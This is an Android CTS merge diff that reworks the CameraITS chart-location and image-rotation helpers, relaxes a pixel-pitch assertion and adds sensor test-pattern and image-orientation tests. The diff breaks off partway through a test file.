Merge "Merge "Remove unused parameter check in MediaDrmMockTest" into oreo-cts-dev am: c024972501" am: d3c494cd3c am: 2ab057dbad
am: 16d39c072a
Change-Id: I77c50aa4585eb3f39e286013644b067bf0558dbb
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index 83e654e..a34d4ce 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -12,27 +12,36 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import matplotlib
-matplotlib.use('Agg')
-
-import its.error
-from matplotlib import pylab
-import sys
-from PIL import Image
-import numpy
-import math
-import unittest
-import cStringIO
-import scipy.stats
-import copy
-import cv2
import os
+import unittest
+
+import cv2
+import its.device
+import its.error
+import numpy
+
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
+
def scale_img(img, scale=1.0):
"""Scale and image based on a real number scale factor."""
dim = (int(img.shape[1]*scale), int(img.shape[0]*scale))
return cv2.resize(img.copy(), dim, interpolation=cv2.INTER_AREA)
+
+def gray_scale_img(img):
+ """Return gray scale version of image."""
+ if len(img.shape) == 2:
+ img_gray = img.copy()
+ elif len(img.shape) == 3:
+ if img.shape[2] == 1:
+ img_gray = img[:, :, 0].copy()
+ else:
+ img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
+ return img_gray
+
+
class Chart(object):
"""Definition for chart object.
@@ -57,6 +66,9 @@
self._scale_start = scale_start
self._scale_stop = scale_stop
self._scale_step = scale_step
+ self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = its.image.chart_located_per_argv()
+ if not self.xnorm:
+ self.locate()
def _calc_scale_factors(self, cam, props, fmt, s, e, fd):
"""Take an image with s, e, & fd to find the chart location.
@@ -79,7 +91,7 @@
req['android.lens.focusDistance'] = fd
cap_chart = its.image.stationary_lens_cap(cam, req, fmt)
img_3a = its.image.convert_capture_to_rgb_image(cap_chart, props)
- img_3a = its.image.flip_mirror_img_per_argv(img_3a)
+ img_3a = its.image.rotate_img_per_argv(img_3a)
its.image.write_image(img_3a, 'af_scene.jpg')
template = cv2.imread(self._file, cv2.IMREAD_ANYDEPTH)
focal_l = cap_chart['metadata']['android.lens.focalLength']
@@ -95,8 +107,15 @@
print 'Chart/image scale factor = %.2f' % scale_factor
return template, img_3a, scale_factor
- def locate(self, cam, props, fmt, s, e, fd):
- """Find the chart in the image.
+ def locate(self, cam=None, props=None, fmt=None, s=0, e=0, fd=0):
+ """Find the chart in the image, and append location to chart object.
+
+ The values appended are:
+ xnorm: float; [0, 1] left loc of chart in scene
+ ynorm: float; [0, 1] top loc of chart in scene
+ wnorm: float; [0, 1] width of chart in scene
+ hnorm: float; [0, 1] height of chart in scene
+ scale: float; scale factor to extract chart
Args:
cam: An open device session
@@ -107,29 +126,30 @@
e: Exposure time for the AF request as defined in
android.sensor.exposureTime
fd: float; autofocus lens position
-
- Returns:
- xnorm: float; [0, 1] left loc of chart in scene
- ynorm: float; [0, 1] top loc of chart in scene
- wnorm: float; [0, 1] width of chart in scene
- hnorm: float; [0, 1] height of chart in scene
"""
- chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
- s, e, fd)
+ if cam:
+ chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt,
+ s, e, fd)
+ else:
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ fmt = {'format': 'yuv', 'width': VGA_WIDTH,
+ 'height': VGA_HEIGHT}
+
+ # Get sensitivity, exposure time, and focus distance with 3A.
+ s, e, _, _, fd = cam.do_3a(get_results=True)
+
+ chart, scene, s_factor = self._calc_scale_factors(cam, props,
+ fmt, s, e, fd)
scale_start = self._scale_start * s_factor
scale_stop = self._scale_stop * s_factor
scale_step = self._scale_step * s_factor
+ self.scale = s_factor
max_match = []
# check for normalized image
if numpy.amax(scene) <= 1.0:
scene = (scene * 255.0).astype(numpy.uint8)
- if len(scene.shape) == 2:
- scene_gray = scene.copy()
- elif len(scene.shape) == 3:
- if scene.shape[2] == 1:
- scene_gray = scene[:, :, 0]
- else:
- scene_gray = cv2.cvtColor(scene.copy(), cv2.COLOR_RGB2GRAY)
+ scene_gray = gray_scale_img(scene)
print 'Finding chart in scene...'
for scale in numpy.arange(scale_start, scale_stop, scale_step):
scene_scaled = scale_img(scene_gray, scale)
@@ -142,26 +162,36 @@
# determine if optimization results are valid
opt_values = [x[0] for x in max_match]
if 2.0*min(opt_values) > max(opt_values):
- estring = ('Unable to find chart in scene!\n'
+ estring = ('Warning: unable to find chart in scene!\n'
'Check camera distance and self-reported '
'pixel pitch, focal length and hyperfocal distance.')
- raise its.error.Error(estring)
- # find max and draw bbox
- match_index = max_match.index(max(max_match, key=lambda x: x[0]))
- scale = scale_start + scale_step * match_index
- print 'Optimum scale factor: %.3f' % scale
- top_left_scaled = max_match[match_index][1]
- h, w = chart.shape
- bottom_right_scaled = (top_left_scaled[0] + w, top_left_scaled[1] + h)
- top_left = (int(top_left_scaled[0]/scale),
- int(top_left_scaled[1]/scale))
- bottom_right = (int(bottom_right_scaled[0]/scale),
- int(bottom_right_scaled[1]/scale))
- wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
- hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
- xnorm = float(top_left[0]) / scene.shape[1]
- ynorm = float(top_left[1]) / scene.shape[0]
- return xnorm, ynorm, wnorm, hnorm
+ print estring
+ self.wnorm = 1.0
+ self.hnorm = 1.0
+ self.xnorm = 0.0
+ self.ynorm = 0.0
+ else:
+ if (max(opt_values) == opt_values[0] or
+ max(opt_values) == opt_values[len(opt_values)-1]):
+ estring = ('Warning: chart is at extreme range of locator '
+ 'check.\n')
+ print estring
+ # find max and draw bbox
+ match_index = max_match.index(max(max_match, key=lambda x: x[0]))
+ self.scale = scale_start + scale_step * match_index
+ print 'Optimum scale factor: %.3f' % self.scale
+ top_left_scaled = max_match[match_index][1]
+ h, w = chart.shape
+ bottom_right_scaled = (top_left_scaled[0] + w,
+ top_left_scaled[1] + h)
+ top_left = (int(top_left_scaled[0]/self.scale),
+ int(top_left_scaled[1]/self.scale))
+ bottom_right = (int(bottom_right_scaled[0]/self.scale),
+ int(bottom_right_scaled[1]/self.scale))
+ self.wnorm = float((bottom_right[0]) - top_left[0]) / scene.shape[1]
+ self.hnorm = float((bottom_right[1]) - top_left[1]) / scene.shape[0]
+ self.xnorm = float(top_left[0]) / scene.shape[1]
+ self.ynorm = float(top_left[1]) / scene.shape[0]
class __UnitTest(unittest.TestCase):
@@ -186,7 +216,8 @@
blur = cv2.blur(chart, (j, j))
blur = blur[:, :, numpy.newaxis]
sharpness[j] = (yuv_full_scale *
- its.image.compute_image_sharpness(blur / white_level))
+ its.image.compute_image_sharpness(blur /
+ white_level))
self.assertTrue(numpy.isclose(sharpness[2]/sharpness[4],
numpy.sqrt(2), atol=0.1))
self.assertTrue(numpy.isclose(sharpness[4]/sharpness[8],
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 24b48bb..9fc4c5a 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -646,7 +646,10 @@
ytile = math.ceil(ynorm * hfull)
wtile = math.floor(wnorm * wfull)
htile = math.floor(hnorm * hfull)
- return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
+ if len(img.shape)==2:
+ return img[ytile:ytile+htile,xtile:xtile+wtile].copy()
+ else:
+ return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
def compute_image_means(img):
@@ -780,6 +783,7 @@
[gy, gx] = numpy.gradient(luma)
return numpy.average(numpy.sqrt(gy*gy + gx*gx))
+
def normalize_img(img):
"""Normalize the image values to between 0 and 1.
@@ -790,21 +794,39 @@
"""
return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
-def flip_mirror_img_per_argv(img):
- """Flip/mirror an image if "flip" or "mirror" is in argv
+
+def chart_located_per_argv():
+ """Determine if chart already located outside of test.
+
+ If chart info provided, return location and size. If not, return None.
+
+ Args:
+ None
+ Returns:
+ chart_loc: float converted xnorm,ynorm,wnorm,hnorm,scale from argv text.
+ argv is of form 'chart_loc=0.45,0.45,0.1,0.1,1.0'
+ """
+ for s in sys.argv[1:]:
+ if s[:10] == "chart_loc=" and len(s) > 10:
+ chart_loc = s[10:].split(",")
+ return map(float, chart_loc)
+ return None, None, None, None, None
+
+
+def rotate_img_per_argv(img):
+ """Rotate an image 180 degrees if "rotate" is in argv
Args:
img: 2-D numpy array of image values
Returns:
- Flip/mirrored image
+ Rotated image
"""
img_out = img
- if "flip" in sys.argv:
- img_out = numpy.flipud(img_out)
- if "mirror" in sys.argv:
- img_out = numpy.fliplr(img_out)
+ if "rotate180" in sys.argv:
+ img_out = numpy.fliplr(numpy.flipud(img_out))
return img_out
+
def stationary_lens_cap(cam, req, fmt):
"""Take up to NUM_TRYS caps and save the 1st one with lens stationary.
@@ -829,6 +851,7 @@
raise its.error.Error('Cannot settle lens after %d trys!' % trys)
return cap[NUM_FRAMES-1]
+
class __UnitTest(unittest.TestCase):
"""Run a suite of unit tests on this module.
"""
diff --git a/apps/CameraITS/tests/inprog/test_test_patterns.py b/apps/CameraITS/tests/inprog/test_test_patterns.py
deleted file mode 100644
index f75b141..0000000
--- a/apps/CameraITS/tests/inprog/test_test_patterns.py
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import its.image
-import its.device
-import its.objects
-import os.path
-
-def main():
- """Test sensor test patterns.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- with its.device.ItsSession() as cam:
- caps = []
- for i in range(1,6):
- req = its.objects.manual_capture_request(100, 10*1000*1000)
- req['android.sensor.testPatternData'] = [40, 100, 160, 220]
- req['android.sensor.testPatternMode'] = i
-
- # Capture the shot twice, and use the second one, so the pattern
- # will have stabilized.
- caps = cam.do_capture([req]*2)
-
- img = its.image.convert_capture_to_rgb_image(caps[1])
- its.image.write_image(img, "%s_pattern=%d.jpg" % (NAME, i))
-
-if __name__ == '__main__':
- main()
-
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index 752e02b..e78488e 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -90,8 +90,8 @@
pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
pixel_pitch_h)
- assert 1.0 <= pixel_pitch_w <= 10
- assert 1.0 <= pixel_pitch_h <= 10
+ assert 0.9 <= pixel_pitch_w <= 10
+ assert 0.9 <= pixel_pitch_h <= 10
assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
index c3c2147..7594f9f 100644
--- a/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
+++ b/apps/CameraITS/tests/scene0/test_param_sensitivity_burst.py
@@ -12,19 +12,21 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
import its.caps
import its.device
+import its.image
import its.objects
import its.target
-def main():
- """Test that the android.sensor.sensitivity parameter is applied properly
- within a burst. Inspects the output metadata only (not the image data).
- """
+NUM_STEPS = 3
+ERROR_TOLERANCE = 0.97 # Allow ISO to be rounded down by 3%
- NUM_STEPS = 3
- ERROR_TOLERANCE = 0.97 # Allow ISO to be rounded down by 3%
+
+def main():
+ """Test android.sensor.sensitivity parameter applied properly in burst.
+
+ Inspects the output metadata only (not the image data).
+ """
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -35,15 +37,16 @@
sens_step = (sens_range[1] - sens_range[0]) / NUM_STEPS
sens_list = range(sens_range[0], sens_range[1], sens_step)
e = min(props['android.sensor.info.exposureTimeRange'])
- reqs = [its.objects.manual_capture_request(s,e) for s in sens_list]
- _,fmt = its.objects.get_fastest_manual_capture_settings(props)
+ reqs = [its.objects.manual_capture_request(s, e) for s in sens_list]
+ _, fmt = its.objects.get_fastest_manual_capture_settings(props)
caps = cam.do_capture(reqs, fmt)
- for i,cap in enumerate(caps):
+ for i, cap in enumerate(caps):
s_req = sens_list[i]
- s_res = cap["metadata"]["android.sensor.sensitivity"]
- assert(s_req >= s_res)
- assert(s_res/float(s_req) > ERROR_TOLERANCE)
+ s_res = cap['metadata']['android.sensor.sensitivity']
+ s_values = 's_write: %d, s_read: %d' % (s_req, s_res)
+ assert s_req >= s_res, s_values
+ assert s_res/float(s_req) > ERROR_TOLERANCE, ERROR_TOLERANCE
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/tests/scene0/test_test_patterns.py b/apps/CameraITS/tests/scene0/test_test_patterns.py
new file mode 100644
index 0000000..a1d9cb8
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_test_patterns.py
@@ -0,0 +1,174 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+
+import its.caps
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NAME = os.path.basename(__file__).split('.')[0]
+PATTERNS = [1, 2]
+COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
+ 'BLUE', 'BLACK']
+COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
+ 'BLUE': [0, 0, 1], 'MAGENTA': [1, 0, 1], 'CYAN': [0, 1, 1],
+ 'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
+CH_TOL = 2E-3 # 1/2 DN in [0:1]
+LSFR_COEFFS = 0b100010000 # PN9
+
+
+def check_solid_color(cap, props):
+ """Simple test for solid color.
+
+ Args:
+ cap: capture element
+ props: capture properties
+ Returns:
+ True/False
+ """
+ print 'Checking solid TestPattern...'
+ r, gr, gb, b = its.image.convert_capture_to_planes(cap, props)
+ r_tile = its.image.get_image_patch(r, 0.0, 0.0, 1.0, 1.0)
+ gr_tile = its.image.get_image_patch(gr, 0.0, 0.0, 1.0, 1.0)
+ gb_tile = its.image.get_image_patch(gb, 0.0, 0.0, 1.0, 1.0)
+ b_tile = its.image.get_image_patch(b, 0.0, 0.0, 1.0, 1.0)
+ var_max = max(np.amax(r_tile), np.amax(gr_tile), np.amax(gb_tile),
+ np.amax(b_tile))
+ var_min = min(np.amin(r_tile), np.amin(gr_tile), np.amin(gb_tile),
+ np.amin(b_tile))
+ white_level = int(props['android.sensor.info.whiteLevel'])
+ print ' pixel min: %.f, pixel max: %.f' % (white_level*var_min,
+ white_level*var_max)
+ return np.isclose(var_max, var_min, atol=CH_TOL)
+
+
+def check_color_bars(cap, props, mirror=False):
+ """Test image for color bars.
+
+ Compute avg of bars and compare to ideal
+
+ Args:
+ cap: capture element
+ props: capture properties
+ mirror (bool): whether to mirror image or not
+ Returns:
+ True/False
+ """
+ print 'Checking color bar TestPattern...'
+ delta = 0.0005
+ num_bars = len(COLOR_BAR_ORDER)
+ color_match = []
+ img = its.image.convert_capture_to_rgb_image(cap, props=props)
+ if mirror:
+ print ' Image mirrored'
+ img = np.fliplr(img)
+ for i, color in enumerate(COLOR_BAR_ORDER):
+ tile = its.image.get_image_patch(img, float(i)/num_bars+delta,
+ 0.0, 1.0/num_bars-2*delta, 1.0)
+ color_match.append(np.allclose(its.image.compute_image_means(tile),
+ COLOR_CHECKER[color], atol=CH_TOL))
+ print COLOR_BAR_ORDER
+ print color_match
+ return all(color_match)
+
+
+def check_pattern(cap, props, pattern):
+ """Simple tests for pattern correctness.
+
+ Args:
+ cap: capture element
+ props: capture properties
+ pattern (int): valid number for pattern
+ Returns:
+ boolean
+ """
+
+ # white_level = int(props['android.sensor.info.whiteLevel'])
+ if pattern == 1: # solid color
+ return check_solid_color(cap, props)
+
+ elif pattern == 2: # color bars
+ striped = check_color_bars(cap, props, mirror=False)
+ # check mirrored version in case image rotated from sensor orientation
+ if not striped:
+ striped = check_color_bars(cap, props, mirror=True)
+ return striped
+
+ else:
+ print 'No specific test for TestPattern %d' % pattern
+ return True
+
+
+def test_test_patterns(cam, props, af_fd):
+ """test image sensor test patterns.
+
+ Args:
+ cam: An open device session.
+ props: Properties of cam
+ af_fd: Focus distance
+ """
+
+ avail_patterns = props['android.sensor.availableTestPatternModes']
+ print 'avail_patterns: ', avail_patterns
+ sens_min, _ = props['android.sensor.info.sensitivityRange']
+ exposure = min(props['android.sensor.info.exposureTimeRange'])
+
+ for pattern in PATTERNS:
+ if pattern in avail_patterns:
+ req = its.objects.manual_capture_request(int(sens_min),
+ exposure)
+ req['android.lens.focusDistance'] = af_fd
+ req['android.sensor.testPatternMode'] = pattern
+ fmt = {'format': 'raw'}
+ cap = cam.do_capture(req, fmt)
+ img = its.image.convert_capture_to_rgb_image(cap, props=props)
+
+ # Save pattern
+ its.image.write_image(img, '%s_%d.jpg' % (NAME, pattern), True)
+
+ # Check pattern for correctness
+ assert check_pattern(cap, props, pattern)
+ else:
+ print 'Pattern not in android.sensor.availableTestPatternModes.'
+
+
+def main():
+ """Test pattern generation test.
+
+ Test: capture frames for each valid test pattern and check if
+ generated correctly.
+ android.sensor.testPatternMode
+ 0: OFF
+ 1: SOLID_COLOR
+ 2: COLOR_BARS
+ 3: COLOR_BARS_FADE_TO_GREY
+ 4: PN9
+ """
+
+ print '\nStarting %s' % NAME
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.raw16(props) and
+ its.caps.manual_sensor(props) and
+ its.caps.per_frame_control(props))
+
+ # For test pattern, use min_fd
+ fd = props['android.lens.info.minimumFocusDistance']
+ test_test_patterns(cam, props, fd)
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene2/test_faces.py b/apps/CameraITS/tests/scene2/test_faces.py
index 4e30fc1..2acce85 100644
--- a/apps/CameraITS/tests/scene2/test_faces.py
+++ b/apps/CameraITS/tests/scene2/test_faces.py
@@ -60,7 +60,7 @@
# but it should detect at least one face in last frame
if i == NUM_TEST_FRAMES - 1:
img = its.image.convert_capture_to_rgb_image(cap, props=props)
- img = its.image.flip_mirror_img_per_argv(img)
+ img = its.image.rotate_img_per_argv(img)
img_name = "%s_fd_mode_%s.jpg" % (NAME, fd_mode)
its.image.write_image(img, img_name)
if len(faces) == 0:
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
new file mode 100644
index 0000000..197f62a
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -0,0 +1,134 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+import cv2
+
+import its.caps
+import its.cv2image
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NAME = os.path.basename(__file__).split('.')[0]
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+ 'test_images', 'ISO12233.png')
+CHART_HEIGHT = 13.5 # cm
+CHART_DISTANCE = 30.0 # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+CHART_ORIENTATIONS = ['nominal', 'flip', 'mirror', 'rotate']
+VGA_WIDTH = 640
+VGA_HEIGHT = 480
+(X_CROP, Y_CROP) = (0.5, 0.5) # crop center area of ISO12233 chart
+
+
+def test_flip_mirror(cam, props, fmt, chart):
+ """Return if image is flipped or mirrored.
+
+ Args:
+ cam (class): An open device session
+ props (class): Properties of cam
+ fmt (dict): Capture format
+ chart (class): Object with chart properties
+
+ Returns:
+ boolean: True if flipped, False if not
+ """
+
+ # determine if in debug mode
+ debug = its.caps.debug_mode()
+
+ # get a local copy of the chart template
+ template = cv2.imread(CHART_FILE, cv2.IMREAD_ANYDEPTH)
+
+ # take img, crop chart, scale and prep for cv2 template match
+ s, e, _, _, fd = cam.do_3a(get_results=True)
+ req = its.objects.manual_capture_request(s, e, fd)
+ cap = cam.do_capture(req, fmt)
+ y, _, _ = its.image.convert_capture_to_planes(cap, props)
+ y = its.image.rotate_img_per_argv(y)
+ patch = its.image.get_image_patch(y, chart.xnorm, chart.ynorm,
+ chart.wnorm, chart.hnorm)
+ patch = 255 * its.cv2image.gray_scale_img(patch)
+ patch = its.cv2image.scale_img(patch.astype(np.uint8), chart.scale)
+
+ # sanity check on image
+ assert np.max(patch)-np.min(patch) > 255/8
+
+ # save full images if in debug
+ if debug:
+ its.image.write_image(template[:, :, np.newaxis]/255.0,
+ '%s_template.jpg' % NAME)
+
+ # save patch
+ its.image.write_image(patch[:, :, np.newaxis]/255.0,
+ '%s_scene_patch.jpg' % NAME)
+
+ # crop center areas and strip off any extra rows/columns
+ template = its.image.get_image_patch(template, (1-X_CROP)/2, (1-Y_CROP)/2,
+ X_CROP, Y_CROP)
+ patch = its.image.get_image_patch(patch, (1-X_CROP)/2,
+ (1-Y_CROP)/2, X_CROP, Y_CROP)
+ patch = patch[0:min(patch.shape[0], template.shape[0]),
+ 0:min(patch.shape[1], template.shape[1])]
+ comp_chart = patch
+
+ # determine optimum orientation
+ opts = []
+ for orientation in CHART_ORIENTATIONS:
+ if orientation == 'flip':
+ comp_chart = np.flipud(patch)
+ elif orientation == 'mirror':
+ comp_chart = np.fliplr(patch)
+ elif orientation == 'rotate':
+ comp_chart = np.flipud(np.fliplr(patch))
+ correlation = cv2.matchTemplate(comp_chart, template, cv2.TM_CCOEFF)
+ _, opt_val, _, _ = cv2.minMaxLoc(correlation)
+ if debug:
+ cv2.imwrite('%s_%s.jpg' % (NAME, orientation), comp_chart)
+ print ' %s correlation value: %d' % (orientation, opt_val)
+ opts.append(opt_val)
+
+ # determine if 'nominal' or 'rotated' is best orientation
+ assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
+ assert assert_flag, ('Optimum orientation is %s' %
+ CHART_ORIENTATIONS[np.argmax(opts)])
+ # print warning if rotated
+ if opts[3] == max(opts):
+ print 'Image is rotated 180 degrees. Try "rotate" flag.'
+
+
+def main():
+ """Test if image is properly oriented."""
+
+ print '\nStarting test_flip_mirror.py'
+
+ # initialize chart class and locate chart in scene
+ chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+ CHART_SCALE_START, CHART_SCALE_STOP,
+ CHART_SCALE_STEP)
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+
+ # test that image is not flipped, mirrored, or rotated
+ test_flip_mirror(cam, props, fmt, chart)
+
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
index cd563be..24c6841 100644
--- a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
+++ b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
@@ -37,19 +37,20 @@
CHART_SCALE_STEP = 0.025
-def test_lens_movement_reporting(cam, props, fmt, sensitivity, exp, af_fd):
+def test_lens_movement_reporting(cam, props, fmt, gain, exp, af_fd, chart):
"""Return fd, sharpness, lens state of the output images.
Args:
cam: An open device session.
props: Properties of cam
fmt: dict; capture format
- sensitivity: Sensitivity for the 3A request as defined in
+ gain: Sensitivity for the 3A request as defined in
android.sensor.sensitivity
exp: Exposure time for the 3A request as defined in
android.sensor.exposureTime
af_fd: Focus distance for the 3A request as defined in
android.lens.focusDistance
+ chart: Object that contains chart information
Returns:
Object containing reported sharpness of the output image, keyed by
@@ -57,15 +58,6 @@
'sharpness'
"""
- # initialize chart class
- chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
- CHART_SCALE_START, CHART_SCALE_STOP,
- CHART_SCALE_STEP)
-
- # find chart location
- xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
- exp, af_fd)
-
# initialize variables and take data sets
data_set = {}
white_level = int(props['android.sensor.info.whiteLevel'])
@@ -74,7 +66,7 @@
fds = sorted(fds * NUM_IMGS)
reqs = []
for i, fd in enumerate(fds):
- reqs.append(its.objects.manual_capture_request(sensitivity, exp))
+ reqs.append(its.objects.manual_capture_request(gain, exp))
reqs[i]['android.lens.focusDistance'] = fd
caps = cam.do_capture(reqs, fmt)
for i, cap in enumerate(caps):
@@ -92,12 +84,12 @@
print ' current lens location (diopters): %.3f' % data['loc']
print ' lens moving %r' % data['lens_moving']
y, _, _ = its.image.convert_capture_to_planes(cap, props)
- y = its.image.flip_mirror_img_per_argv(y)
- chart = its.image.normalize_img(its.image.get_image_patch(y,
- xnorm, ynorm,
- wnorm, hnorm))
- its.image.write_image(chart, '%s_i=%d_chart.jpg' % (NAME, i))
- data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+ y = its.image.rotate_img_per_argv(y)
+ chart.img = its.image.normalize_img(its.image.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ its.image.write_image(chart.img, '%s_i=%d_chart.jpg' % (NAME, i))
+ data['sharpness'] = white_level*its.image.compute_image_sharpness(
+ chart.img)
print 'Chart sharpness: %.1f\n' % data['sharpness']
data_set[i] = data
return data_set
@@ -110,6 +102,11 @@
"""
print '\nStarting test_lens_movement_reporting.py'
+ # initialize chart class
+ chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+ CHART_SCALE_START, CHART_SCALE_STOP,
+ CHART_SCALE_STEP)
+
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
its.caps.skip_unless(not its.caps.fixed_focus(props))
@@ -121,7 +118,7 @@
s, e, _, _, fd = cam.do_3a(get_results=True)
# Get sharpness for each focal distance
- d = test_lens_movement_reporting(cam, props, fmt, s, e, fd)
+ d = test_lens_movement_reporting(cam, props, fmt, s, e, fd, chart)
for k in sorted(d):
print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
'sharpness: %.1f \tlens_moving: %r \t'
diff --git a/apps/CameraITS/tests/scene3/test_lens_position.py b/apps/CameraITS/tests/scene3/test_lens_position.py
index f850e3d..2194b8c 100644
--- a/apps/CameraITS/tests/scene3/test_lens_position.py
+++ b/apps/CameraITS/tests/scene3/test_lens_position.py
@@ -38,7 +38,7 @@
CHART_SCALE_STEP = 0.025
-def test_lens_position(cam, props, fmt, sensitivity, exp, af_fd):
+def test_lens_position(cam, props, fmt, sensitivity, exp, chart):
"""Return fd, sharpness, lens state of the output images.
Args:
@@ -49,8 +49,7 @@
android.sensor.sensitivity
exp: Exposure time for the 3A request as defined in
android.sensor.exposureTime
- af_fd: Focus distance for the 3A request as defined in
- android.lens.focusDistance
+ chart: Object with chart properties
Returns:
Dictionary of results for different focal distance captures
@@ -58,15 +57,6 @@
d_static, d_moving
"""
- # initialize chart class
- chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
- CHART_SCALE_START, CHART_SCALE_STOP,
- CHART_SCALE_STEP)
-
- # find chart location
- xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
- exp, af_fd)
-
# initialize variables and take data sets
data_static = {}
data_moving = {}
@@ -89,11 +79,11 @@
print ' focus distance (diopters): %.3f' % data['fd']
print ' current lens location (diopters): %.3f' % data['loc']
y, _, _ = its.image.convert_capture_to_planes(cap, props)
- chart = its.image.normalize_img(its.image.get_image_patch(y,
- xnorm, ynorm,
- wnorm, hnorm))
- its.image.write_image(chart, '%s_stat_i=%d_chart.jpg' % (NAME, i))
- data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+ chart.img = its.image.normalize_img(its.image.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ its.image.write_image(chart.img, '%s_stat_i=%d_chart.jpg' % (NAME, i))
+ data['sharpness'] = white_level*its.image.compute_image_sharpness(
+ chart.img)
print 'Chart sharpness: %.1f\n' % data['sharpness']
data_static[i] = data
# take moving data set
@@ -115,12 +105,12 @@
print ' focus distance (diopters): %.3f' % data['fd']
print ' current lens location (diopters): %.3f' % data['loc']
y, _, _ = its.image.convert_capture_to_planes(cap, props)
- y = its.image.flip_mirror_img_per_argv(y)
